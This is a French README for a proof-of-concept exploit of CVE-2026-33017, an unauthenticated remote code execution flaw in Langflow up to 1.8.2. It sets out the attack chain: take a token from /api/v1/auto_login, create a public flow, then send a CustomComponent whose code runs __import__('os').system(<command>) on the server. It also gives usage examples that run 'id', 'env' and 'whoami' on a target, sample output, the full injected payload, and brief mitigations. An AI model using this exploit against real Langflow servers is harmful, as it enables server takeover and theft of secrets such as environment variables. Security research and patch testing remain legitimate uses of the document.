
Preuve de concept pour CVE-2026-33017, démontrant l'exécution de code à distance sans authentification dans les versions vulnérables de Langflow via l'injection de code malveillant dans CustomComponent.
ID CVE : CVE-2026-33017
Logiciel affecté : Langflow
Versions vulnérables : <= 1.8.2
Version corrigée : >= 1.9.0
Sévérité : Critique
Auteur : arensballiu
Date : 2026
Langflow expose un endpoint public de construction de flow (/api/v1/build_public_tmp/{flowID}/flow) qui accepte
des blocs de code CustomComponent arbitraires et les exécute côté serveur sans authentification. En
injectant une charge utile Python malveillante dans le champ code d'un nœud CustomComponent, un attaquant
non authentifié peut exécuter des commandes système arbitraires avec les privilèges du processus serveur Langflow.
La chaîne d'attaque exploite d'abord l'endpoint /api/v1/auto_login, qui délivre un jeton bearer sans
exiger d'identifiants lorsque Langflow fonctionne dans sa configuration auto-login par défaut. Elle utilise ensuite
ce jeton pour créer un flow public temporaire et déclencher l'exécution de code côté serveur via l'endpoint
de construction.
Un fichier docker est inclus, lequel crée une instance docker avec langflow installé et en cours d'exécution.
| Endpoint | Méthode | Authentification requise | Objectif |
|---|---|---|---|
/api/v1/auto_login | GET | Non | Obtenir un jeton bearer (auto-login doit être activé) |
/api/v1/flows/ | POST | Oui (Bearer) | Créer un nouveau flow |
/api/v1/build_public_tmp/{flowID}/flow | POST | Non (public) | Déclencher la construction — point d'exécution vulnérable |
/api/v1/flows/{flowID} | DELETE | Oui (Bearer) | Nettoyer le flow créé |
Fichier : CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| Option | Forme longue | Requis | Description |
|---|---|---|---|
-u | --url | Oui | URL de base de l'instance Langflow |
-c | --command | Oui | Commande système à exécuter sur le serveur |
-d | --delete | Non | Supprimer le flow créé après exploitation |
Vérifier l'exécution de code :
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Récupérer les variables d'environnement du serveur :
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Conserver le flow actif après exploitation (ignorer le nettoyage) :
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
L'exploit injecte l'extrait Python suivant dans le champ code d'un nœud CustomComponent :
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - importe dynamiquement le module os et exécute la commande shell fournie par l'attaquant sur le serveur.CustomComponent valide requis pour satisfaire le chargeur de composants de Langflow sans lever d'erreur d'analyse.PUBLIC et l'endpoint de construction est invoqué sur son endpoint public, ce qui signifie qu'aucun cookie de session ni jeton d'authentification n'est requis pour déclencher l'exécution.Le système CustomComponent de Langflow permet de soumettre du code Python arbitraire dans le cadre d'une définition
de flow. L'endpoint /api/v1/build_public_tmp/{flowID}/flow construit et évalue partiellement ce
code côté serveur, y compris les instructions au niveau du module, sans sandboxing ni restriction d'accès aux
fonctions natives de Python telles que __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
Les quatre étapes peuvent être réalisées par un attaquant anonyme contre un déploiement Langflow par défaut.
LANGFLOW_AUTO_LOGIN=false) dans tout déploiement exposé à Internet.Cette preuve de concept est fournie à des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de ce script contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. L'auteur et les contributeurs déclinent toute responsabilité en cas de mauvaise utilisation.